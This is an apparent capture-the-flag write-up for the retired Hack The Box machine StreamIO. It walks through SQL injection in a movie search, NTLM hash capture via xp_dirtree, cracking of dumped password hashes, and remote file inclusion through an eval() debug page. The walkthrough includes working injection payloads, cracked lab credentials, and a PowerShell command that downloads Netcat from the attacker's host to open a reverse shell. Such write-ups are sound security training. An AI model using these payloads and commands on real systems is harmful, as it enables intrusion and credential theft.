StreamIO (Retired Box)
Overview
StreamIO is a Windows host running PHP on IIS, backed by an MSSQL database. The foothold begins with SQL injection in the movie search functionality, allowing full extraction of user credentials and ultimately granting access to a hidden administration portal on the site. Deeper enumeration of this portal reveals a poorly implemented debug feature that accepts arbitrary filenames, Base64-processes them, and feeds them into a file inclusion routine inside master.php. This developer-only functionality turns out to be fatally flawed: it uses file_get_contents() combined with eval(), enabling a remote file inclusion that leads to arbitrary command execution. Abusing this bug provides a reliable RCE path and delivers the foothold needed to begin post-exploitation on the Windows environment.
Recon
I begin my scan by creating a dedicated directory for Nmap results. This keeps things organized and lets me easily return to previous scans later without confusion.
1
2
┌──(sicario㉿kali)-[~/HacktheBox/redelegate]
└─$ nmap -sC -sV -T4 -p- --min-rate=1000 --vv -oA nmap/streamio 10.129.150.95
Nmap Output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
Nmap scan report for 10.129.150.95
Host is up, received echo-reply ttl 127 (0.65s latency).
Scanned at 2025-11-26 12:58:19 WAT for 308s
Not shown: 65516 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-11-26 19:01:47Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp open ssl/http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| tls-alpn:
|_ http/1.1
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Issuer: commonName=streamIO/countryName=EU
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-02-22T07:03:28
| Not valid after: 2022-03-24T07:03:28
| MD5: b99a:2c8d:a0b8:b10a:eefa:be20:4abd:ecaf
| SHA-1: 6c6a:3f5c:7536:61d5:2da6:0e66:75c0:56ce:56e4:656d
| -----BEGIN CERTIFICATE-----
| MIIDYjCCAkqgAwIBAgIUbdDRZxR55nbfMxJzBHWVXcH83kQwDQYJKoZIhvcNAQEL
<SNIP>
| JaKhcCnBY1cWqUSAm56QK3mz55BNPcOUHLhrFLjIaWRVx8Ro8QOCWcxkTfVcKcR+
| DSJTOJH8
|_-----END CERTIFICATE-----
|_ssl-date: 2025-11-26T19:03:22+00:00; +7h00m00s from scanner time.
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49678/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49707/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49732/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-11-26T19:02:45
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 44743/tcp): CLEAN (Timeout)
| Check 2 (port 24598/tcp): CLEAN (Timeout)
| Check 3 (port 64148/udp): CLEAN (Timeout)
| Check 4 (port 5764/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
Key Findings:
Kerberos (88), LDAP/LDAPS (389/636/3268/3269), SMB (445), DNS (53), and the associated domain information all confirm this host is the domain controller for streamIO.htb.
IIS 10.0 on port 80 returns the default IIS Windows Server page.
HTTPS on port 443 presents a self-signed certificate listing streamIO.htb and watch.streamIO.htb, indicating additional virtual hosts worth probing.
Expected MSRPC endpoints are exposed, supporting standard RPC/WMI/SMB-based enumeration once valid credentials are available.
WinRM (5985) is open, which typically becomes useful post-credential acquisition and is a strong indicator that remote command execution will be possible later in the chain.
Time skew suggests that before attempting Kerberos-based attacks (e.g. Kerberoasting, ticket generation), the clock should be synced (e.g. via
ntpdateorntpdate+faketime= timewrap ) to avoid authentication issues.
Next, I’ll map the discovered hostnames to the target’s IP in /etc/hosts:
1
echo "10.129.150.95 streamIO.htb watch.streamIO.htb" | sudo tee -a /etc/hosts
Enumeration
Upon visiting the site on port 80, there’s nothing of interest. Just the default IIS landing page.
Accessing streamIO.htb over HTTPS (443) reveals a movie-streaming web application:
I checked the login page and tested a few common default credentials with no success. I then created a new account. Attempting to log in with the newly created account also fails:
The Contact page lists a phone number and an email address: oliver@streamIO.htb
There is also a contact form, which I submitted while capturing the request. Nothing appeared out of place here.
Next, I moved on to watch.streamIO.htb over HTTPS. This subdomain presents a simple newsletter signup page for movie updates. The subscription function works normally and does not seem abusable.
Fuzzing Hidden Directories
Moving on, I checked the server responses directly via curl :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(sicario㉿kali)-[~/HacktheBox/streamio]
└─$ curl -I -k https://watch.streamio.htb
HTTP/2 200
cache-control: no-store, no-cache, must-revalidate
pragma: no-cache
content-length: 0
content-type: text/html; charset=UTF-8
expires: Thu, 19 Nov 1981 08:52:00 GMT
server: Microsoft-IIS/10.0
x-powered-by: PHP/7.2.26
set-cookie: PHPSESSID=eqq2gf2vei5i74uoc491l0f5dk; path=/
x-powered-by: ASP.NET
date: Wed, 26 Nov 2025 19:36:43 GMT
I then ran a directory and file discovery scan against the subdomains separately:
1
2
┌──(sicario㉿kali)-[~/HacktheBox/streamio]
└─$ ffuf -u https://streamio.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -e .php -mc 200,302 -v -k
The first scan revealed a few relevant paths: logout.php register.php contact.php login.php about.php index.php master.php
Out of all these, master.php is the only one that reveals anything of potential value but it’s content is restricted:
1
2
┌──(sicario㉿kali)-[~/HacktheBox/streamio]
└─$ ffuf -u https://watch.streamio.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -e .php -mc 200,302 -v -k
The second scan revealed:
index.phpsearch.phpblocked.phpstatic/
Visiting search.php displays a long list of movies, each with a Watch button. Clicking any of these buttons results in an application error:
The page includes a search bar that dynamically filters the movie list based on user input.
Exploitation
Identifying UNION-Based SQL Injection
Passing a lone ' into the search parameter doesn’t produce an error; it simply returns no results. That suggests that errors are being handled server-side which is good from a defensive standpoint, but it doesn’t rule out the possibiltyt ofr a succesful SQL injection
Entering the word “test” returns The Greatest Showman, which hints at the underlying query structure. It strongly suggests something along the lines of:
1
SELECT * FROM movies WHERE title LIKE '%[input]%';
If the input is being inserted directly into this statement without proper sanitization, then a crafted payload should influence the results. To test this, I tried:
1
man';-- -
If injectable, the query becomes:
1
SELECT * FROM movies WHERE title LIKE '%man';-- -%';
This effectively comments out the trailing portion of the query. And sure enough, the application returns all movie titles ending with “man,” confirming that the query is being manipulated.
With injection confirmed, the next step is exploring UNION-based enumeration. To do that, I need to determine the correct number of columns. I started with:
1
abcd' UNION SELECT 1;-- -
and increased the number of SELECT values until the page responded normally. The first successful payload appears at:
1
abcd' UNION SELECT 1,2,3,4,5,6;-- -
To proceed, we need to understand the database environment so we know which payloads will work. Given that the application is running PHP on Windows, the most likely backends are MSSQL or MySQL. Both support the @@version keyword, which makes it a good first check. Portswigger’s cheat sheet on SQL Injection provides example queries for extracting database version information, so we can use those patterns here:
Extracting NTLM Hashes Using xp_dirtree
Next, I attempted to leverage xp_dirtree, a common MSSQL stored procedure that forces the database server to reach out to an external file share. When this happens, the server attempts SMB authentication, which allows us to capture the NTLM hash of the account running the database service.
To prepare, I started Responder on my VPN interface:
1
sudo responder -I tun0
With Responder listening, I used a UNION-based payload to trigger xp_dirtree and point the server to an SMB share I control:
1
abcd'; use master; exec xp_dirtree '\\10.10.14.54\share';-- -
The web page doesn’t return anything, but Responder immediately logs an incoming connection:
1
2
3
[SMB] NTLMv2-SSP Client : ::ffff:10.129.150.95
[SMB] NTLMv2-SSP Username : streamIO\DC$
[SMB] NTLMv2-SSP Hash : DC$::streamIO:63c8495b2f15ac52:BC9ECFC7DE5F81A1C8CB9BD865873B43:010100000000000000901E25E5C6D8018E57573EFE652D490000000002000800420055004E00560001001E00570049004E002D004300540054004100430035004D004C00510039004B0004003400570049004E002D004300540054004100430035004D004C00510039004B002E00420055004E0056002E004C004F00430041004C0003001400420055004E0056002E004C004F00430041004C0005001400420055004E0056002E004C004F00430041004C000700080000901E25E5C6D8010600040002000000080030003000000000000000000000000030000081C387EB6618F4055A81A59670B08D5FF6E8C3BDE62A5B1E62C7D56B2A215D0A0A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0036000000000000000000
Unfortunately, the captured credential belongs to the machine account (DC$). These hashes are extremely resistant to cracking, and tools like hashcat won’t realistically break them. Had the service been running under a regular user account, this technique could have yielded a valid credential.
Extracting Creds via UNION-Based SQL Injection
Returning to the database, I attempted to enumerate additional data through the confirmed UNION-based SQL injection. By targeting the users table, I was able to extract both usernames and their associated password hashes using the following payload:
1
abcd' union select 1,CONCAT(username, ' ', password),3,4,5,6 FROM users-- -
This returned a full list of users and their hashed passwords:
After formatting the output, I obtained:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
admin:21232f297a57a5a743894a0e4a801fc3
admin:665a50ac9eaa781e4f7f04199db97a11
Alexendra:1c2b3d8270321140e5153f6637d3ee53
Austin:0049ac57646627b8d7aeaccf8b6a936f
Barbra:3961548825e3e21df5646cafe11c6c76
Barry:54c88b2dbd7b1a84012fabc1a4c73415
Baxter:22ee218331afd081b0dcd8115284bae3
Bruno:2a4e2cf22dd8fcb45adcb91be1e22ae8
Carmon:35394484d89fcfdb3c5e447fe749d213
Clara:ef8f3d30a856cf166fb8215aca93e9ff
Diablo:ec33265e5fc8c2f1b0c137bb7b3632b5
Garfield:8097cedd612cc37c29db152b6e9edbd3
Gloria:0cfaaaafb559f081df2befbe66686de0
James:c660060492d9edcaa8332d89c99c9239
Juliette:6dcd87740abb64edfa36d170f0d5450d
Lauren:08344b85b329d7efd611b7a7743e8a09
Lenord:ee0b8a0937abd60c2882eacb2f8dc49f
Lucifer:7df45a9e3de3863807c026ba48e55fb3
Michelle:b83439b16f844bd6ffe35c02fe21b3c0
Oliver:fd78db29173a5cf701bd69027cb9bf6b
Robert:f03b910e2bd0313a23fdd7575f34a694
Robin:dc332fb5576e9631c9dae83f194f8e70
Sabrina:f87d3c0d6c8fd686aacc6627f1f493a5
Samantha:083ffae904143c4796e464dac33c1f7d
Stan:384463526d288edcc95fc3701e523bc7
Thane:3577c47eb1e12c8ba021611e1280753c
Theodore:925e5408ecb67aea449373d668b7359e
Victor:bf55e15b119860a6e6b5a164377da719
Victoria:b22abb47a02b52d5dfa27fb0b534f693
William:d62be0dc82071bccc1322d64ec5b6c51
yoshihide:b779ba15cedfd22a023c4d8bcf5f2332
With the hashes extracted, I loaded them into hashcat using mode 0 (MD5), along with the RockYou wordlist:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(sicario㉿kali)-[~/HacktheBox/streamio]
└─$ hashcat -m 0 --user hashes /usr/share/wordlists/rockyou.txt --show
admin:21232f297a57a5a743894a0e4a801fc3:admin
admin:665a50ac9eaa781e4f7f04199db97a11:paddpadd
Barry:54c88b2dbd7b1a84012fabc1a4c73415:$hadoW
Bruno:2a4e2cf22dd8fcb45adcb91be1e22ae8:$monique$1991$
Clara:ef8f3d30a856cf166fb8215aca93e9ff:%$clara
Juliette:6dcd87740abb64edfa36d170f0d5450d:$3xybitch
Lauren:08344b85b329d7efd611b7a7743e8a09:##123a8j8w5123##
Lenord:ee0b8a0937abd60c2882eacb2f8dc49f:physics69i
Michelle:b83439b16f844bd6ffe35c02fe21b3c0:!?Love?!123
Sabrina:f87d3c0d6c8fd686aacc6627f1f493a5:!!sabrina$
Thane:3577c47eb1e12c8ba021611e1280753c:highschoolmusical
Victoria:b22abb47a02b52d5dfa27fb0b534f693:!5psycho8!
yoshihide:b779ba15cedfd22a023c4d8bcf5f2332:66boysandgirls..
This provided a substantial set of credentials, which will be useful for pivoting into both the application and the underlying domain environment.
Initial Foothold
Fuzzing via Burp Intruder
I saved the extracted usernames and cracked passwords into a single file, creds.txt:
1
2
3
4
5
6
7
8
9
10
11
12
13
admin : admin
admin : paddpadd
Barry : $hadoW
Bruno : $monique$1991$
Clara : %$clara
Juliette : $3xybitch
Lauren : ##123a8j8w5123##
Lenord : physics69i
Michelle : !?Love?!123
Sabrina : !!sabrina$
Thane : highschoolmusical
Victoria : !5psycho8!
yoshihide : 66boysandgirls..
From this, I generate separate username and password lists:
1
2
cat creds.txt | cut -d: -f1 > user.txt
cat creds.txt | cut -d: -f3 > pass.txt
Next, I navigate to the login page at streamio.htb and capture a dummy login request in Burp. This gives me the base request needed for credential fuzzing:
Note: The following attack can be also automated be automated from the command line using tools like Hydra or Medusa.
I forwarded the captured login request to Burp Intruder and selected the Pitchfork attack type. This mode lets Intruder pair payloads line-by-line across multiple positions, making it ideal when testing username/password combinations.
Tip: Pitchfork matches each username with the password on the same line, unlike Cluster Bomb, which tests every possible combination.
I marked the username and password fields as payload positions. For the first position, I loaded the user.txt list created earlier, and for the second position, I loaded pass.txt
To clean up the results, I added a Grep Match rule for the string “Login failed” and disabled URL-encoding to prevent the payloads from being altered during the request.
When I launched the attack, every request returned “Login failed” except one. The attempt using yoshihide’s credentials resulted in a redirect (302) instead of a failure, indicating a successful login.
To use the valid session in my browser, I forwarded the successful Intruder response into the Proxy history, then selected Send to Repeater → Show response in browser to generate a session-valid URL. I could also have copied the session cookie directly from the Intruder result and applied it manually through the browser’s developer tools:
Once the session was loaded, navigating to the site redirected me to /admin, where I was presented with an administration panel exposing user, staff, and movie management sections, along with an option to leave a message for the administrator.
Discovering Hidden Admin Parameters
While navigating the admin interface, a clear pattern emerges in the URLs: parameters such as ?user=, ?staff=, ?movie=, and ?message= are used to dynamically load subpages. Since these parameters drive the page routing, it’s reasonable to assume there may be additional, undocumented parameters. To uncover them, I used ffuf to fuzz for parameter names:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(sicario㉿kali)-[~/HacktheBox/streamio]
└─$ ffuf -k -u https://streamio.htb/admin/?FUZZ= -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Cookie: PHPSESSID=c6mlttge0ktqae1v5uks5al5v5" -fs 1678
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://streamio.htb/admin/?FUZZ=
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
:: Header : Cookie: PHPSESSID=c6mlttge0ktqae1v5uks5al5v5
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 1678
________________________________________________
debug [Status: 200, Size: 1712, Words: 90, Lines: 50, Duration: 219ms]
movie [Status: 200, Size: 320235, Words: 15986, Lines: 10791, Duration: 255ms]
The output revealed an additional parameter called debug:
Testing various values within debug= produced different responses, but when I supplied debug=index.php, the application returned this option is for developers only ----ERROR---- .
This immediately suggested that debug is wired into some kind of developer-only diagnostic or file-loading mechanism. Recalling the earlier /admin/master.php page that we didn’t have access to in the first directory fuzz, I try it with ?debug and that returns an error. To confirm what was happening behind the scenes, I used a PHP filter trick to force the server to Base64-encode the source of master.php:
1
https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php
The response returned an encoded payload, which, can be decoded as follows:
1
echo -n "PGgxPk1vdmllIG1hbmFnbWVudDwvaDE+DQo8P3BocA0KaWYoIWRlZmluZWQoJ2luY2x1ZGVkJykpDQoJZGllKCJPbmx5IGFjY2Vzc2FibGUgdGhyb3VnaCBpbmNsdWRlcyIpOw0KaWYoaXNzZXQoJF9QT1NUWydtb3ZpZV9pZCddKSkNCnsNCiRxdWVyeSA9ICJkZWxldGUgZnJvbSBtb3ZpZXMgd2hlcmUgaWQgPSAiLiRfUE9TVFsnbW92aWVfaWQnXTsNCiRyZXMgPSBzcWxzcnZfcXVlcnkoJGhhbmRsZSwgJHF1ZXJ5LCBhcnJheSgpLCBhcnJheSgiU2Nyb2xsYWJsZSI9PiJidWZmZXJlZCIpKTsNCn0NCiRxdWVyeSA9ICJzZWxlY3QgKiBmcm9tIG1vdmllcyBvcmRlciBieSBtb3ZpZSI7DQokcmVzID0gc3Fsc3J2X3F1ZXJ5KCRoYW5kbGUsICRxdWVyeSwgYXJyYXkoKSwgYXJyYXkoIlNjcm9sbGFibGUiPT4iYnVmZmVyZWQiKSk7DQp3aGlsZSgkcm93ID0gc3Fsc3J2X2ZldGNoX2FycmF5KCRyZXMsIFNRTFNSVl9GRVRDSF9BU1NPQykpDQp7DQo/Pg0KDQo8ZGl2Pg0KCTxkaXYgY2xhc3M9ImZvcm0tY29udHJvbCIgc3R5bGU9ImhlaWdodDogM3JlbTsiPg0KCQk8aDQgc3R5bGU9ImZsb2F0OmxlZnQ7Ij48P3BocCBlY2hvICRyb3dbJ21vdmllJ107ID8+PC9oND4NCgkJPGRpdiBzdHlsZT0iZmxvYXQ6cmlnaHQ7cGFkZGluZy1yaWdodDogMjVweDsiPg0KCQkJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9tb3ZpZT0iPg0KCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im1vdmllX2lkIiB2YWx1ZT0iPD9waHAgZWNobyAkcm93WydpZCddOyA/PiI+DQoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc20gYnRuLXByaW1hcnkiIHZhbHVlPSJEZWxldGUiPg0KCQkJPC9mb3JtPg0KCQk8L2Rpdj4NCgk8L2Rpdj4NCjwvZGl2Pg0KPD9waHANCn0gIyB3aGlsZSBlbmQNCj8+DQo8YnI+PGhyPjxicj4NCjxoMT5TdGFmZiBtYW5hZ21lbnQ8L2gxPg0KPD9waHANCmlmKCFkZWZpbmVkKCdpbmNsdWRlZCcpKQ0KCWRpZSgiT25seSBhY2Nlc3NhYmxlIHRocm91Z2ggaW5jbHVkZXMiKTsNCiRxdWVyeSA9ICJzZWxlY3QgKiBmcm9tIHVzZXJzIHdoZXJlIGlzX3N0YWZmID0gMSAiOw0KJHJlcyA9IHNxbHNydl9xdWVyeSgkaGFuZGxlLCAkcXVlcnksIGFycmF5KCksIGFycmF5KCJTY3JvbGxhYmxlIj0+ImJ1ZmZlcmVkIikpOw0KaWYoaXNzZXQoJF9QT1NUWydzdGFmZl9pZCddKSkNCnsNCj8+DQo8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1zdWNjZXNzIj4gTWVzc2FnZSBzZW50IHRvIGFkbWluaXN0cmF0b3I8L2Rpdj4NCjw/cGhwDQp9DQokcXVlcnkgPSAic2VsZWN0ICogZnJvbSB1c2VycyB3aGVyZSBpc19zdGFmZiA9IDEiOw0KJHJlcyA9IHNxbHNydl9xdWVyeSgkaGFuZGxlLCAkcXVlcnksIGFycmF5KCksIGFycmF5KCJTY3JvbGxhYmxlIj0+ImJ1ZmZlcmVkIikpOw0Kd2hpbGUoJHJvdyA9IHNxbHNydl9mZXRjaF9hcnJheSgkcmVzLCBTUUxTUlZfRkVUQ0hfQVNTT0MpKQ0Kew0KPz4NCg0KPGRpdj4NCgk8ZGl2IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHN0eWxlPSJoZWlnaHQ6IDNyZW07Ij4NCgkJPGg0IHN0eWxlPSJmbG9hdDpsZWZ0OyI+PD9waHAgZWNobyAkcm93Wyd1c2VybmFtZSddOyA/PjwvaDQ+DQoJCTxkaXYgc3R5bGU9ImZsb2F0OnJpZ2h0O3BhZGRpbmctcmlnaHQ6IDI1cHg7Ij4NCgkJCTxmb3JtIG1ldGhvZD0iUE9TVCI+DQoJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3RhZmZfaWQiIHZhbHVlPSI8P3BocCBlY2hvICRyb3dbJ2lkJ107ID8+Ij4NCgkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tcHJpbWFyeSIgdmFsdWU9IkRlbGV0ZSI+DQoJCQk8L2Zvcm0+DQoJCTwvZGl2Pg0KCTwvZGl2Pg0KPC9kaXY+DQo8P3BocA0KfSAjIHdoaWxlIGVuZA0KPz4NCjxicj48aHI+PGJyPg0KPGgxPlVzZXIgbWFuYWdtZW50PC9oMT4NCjw/cGhwDQppZighZGVmaW5lZCgnaW5jbHVkZWQnKSkNCglkaWUoIk9ubHkgYWNjZXNzYWJsZSB0aHJvdWdoIGluY2x1ZGVzIik7DQppZihpc3NldCgkX1BPU1RbJ3VzZXJfaWQnXSkpDQp7DQokcXVlcnkgPSAiZGVsZXRlIGZyb20gdXNlcnMgd2hlcmUgaXNfc3RhZmYgPSAwIGFuZCBpZCA9ICIuJF9QT1NUWyd1c2VyX2lkJ107DQokcmVzID0gc3Fsc3J2X3F1ZXJ5KCRoYW5kbGUsICRxdWVyeSwgYXJyYXkoKSwgYXJyYXkoIlNjcm9sbGFibGUiPT4iYnVmZmVyZWQiKSk7DQp9DQokcXVlcnkgPSAic2VsZWN0ICogZnJvbSB1c2VycyB3aGVyZSBpc19zdGFmZiA9IDAiOw0KJHJlcyA9IHNxbHNydl9xdWVyeSgkaGFuZGxlLCAkcXVlcnksIGFycmF5KCksIGFycmF5KCJTY3JvbGxhYmxlIj0+ImJ1ZmZlcmVkIikpOw0Kd2hpbGUoJHJvdyA9IHNxbHNydl9mZXRjaF9hcnJheSgkcmVzLCBTUUxTUlZfRkVUQ0hfQVNTT0MpKQ0Kew0KPz4NCg0KPGRpdj4NCgk8ZGl2IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHN0eWxlPSJoZWlnaHQ6IDNyZW07Ij4NCgkJPGg0IHN0eWxlPSJmbG9hdDpsZWZ0OyI+PD9waHAgZWNobyAkcm93Wyd1c2VybmFtZSddOyA/PjwvaDQ+DQoJCTxkaXYgc3R5bGU9ImZsb2F0OnJpZ2h0O3BhZGRpbmctcmlnaHQ6IDI1cHg7Ij4NCgkJCTxmb3JtIG1ldGhvZD0iUE9TVCI+DQoJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXNlcl9pZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJHJvd1snaWQnXTsgPz4iPg0KCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1wcmltYXJ5IiB2YWx1ZT0iRGVsZXRlIj4NCgkJCTwvZm9ybT4NCgkJPC9kaXY+DQoJPC9kaXY+DQo8L2Rpdj4NCjw/cGhwDQp9ICMgd2hpbGUgZW5kDQo/Pg0KPGJyPjxocj48YnI+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPGlucHV0IG5hbWU9ImluY2x1ZGUiIGhpZGRlbj4NCjwvZm9ybT4NCjw/cGhwDQppZihpc3NldCgkX1BPU1RbJ2luY2x1ZGUnXSkpDQp7DQppZigkX1BPU1RbJ2luY2x1ZGUnXSAhPT0gImluZGV4LnBocCIgKSANCmV2YWwoZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydpbmNsdWRlJ10pKTsNCmVsc2UNCmVjaG8oIiAtLS0tIEVSUk9SIC0tLS0gIik7DQp9DQo/Pg==" | base64 -d > master.php
This confirms that the application is taking the value of debug, processing it through Base64, and using the decoded result as part of an internal file-include operation. In short, the debug parameter is acting as a file inclusion vector, and the Base64 encoding is likely the developer’s attempt to obscure or “sanitize” it.
Shell as Yoshihide
The master.php file is critically vulnerable: it reads a user-supplied filename from the POST parameter include, loads the contents with file_get_contents(), and executes them with eval(). There are no validations, no path restrictions, and no sanitization—only a superficial check preventing the use of index.php. The script also refuses to run unless it is included by another page, which initially makes it appear inaccessible. However, the previously discovered ?debug= parameter lets us force index.php to include master.php, bypassing this protection entirely. Once included, the vulnerable code is fully exposed and can be abused for arbitrary code execution.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
<h1>Movie managment</h1>
<?php
if(!defined('included'))
die("Only accessable through includes");
if(isset($_POST['movie_id']))
{
$query = "delete from movies where id = ".$_POST['movie_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from movies order by movie";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
<div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['movie']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST" action="?movie=">
<input type="hidden" name="movie_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>Staff managment</h1>
<?php
if(!defined('included'))
die("Only accessable through includes");
$query = "select * from users where is_staff = 1 ";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
if(isset($_POST['staff_id']))
{
?>
<div class="alert alert-success"> Message sent to administrator</div>
<?php
}
$query = "select * from users where is_staff = 1";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
<div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['username']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST">
<input type="hidden" name="staff_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>User managment</h1>
<?php
if(!defined('included'))
die("Only accessable through includes");
if(isset($_POST['user_id']))
{
$query = "delete from users where is_staff = 0 and id = ".$_POST['user_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from users where is_staff = 0";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
<div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['username']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST">
<input type="hidden" name="user_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>
To exploit this flaw, I intercepted the request to /admin/?debug=master.php in Burp Suite and transformed it into a POST request. I then added the include parameter and pointed it to a malicious test.php file hosted on my own machine. The test file I used contained a simple payload: system("whoami");. To serve it, I started a Python web server on port 80:
1
2
3
4
┌──(sicario㉿kali)-[~/HacktheBox/streamio]
└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.150.95 - - [26/Nov/2025 18:07:15] "GET /test.php HTTP/1.0" 200 -
The response in Burp Suite confirms successful code execution by returning the identity of the account running the web application.
With confirmed code execution, the next step is to obtain an interactive shell. To do this, I replaced the contents of test.php with a payload that first downloads Netcat to the target and then executes it to create a reverse shell:
1
2
system("powershell -c wget 10.10.14.54/nc64.exe -outfile \\programdata\\nc64.exe");
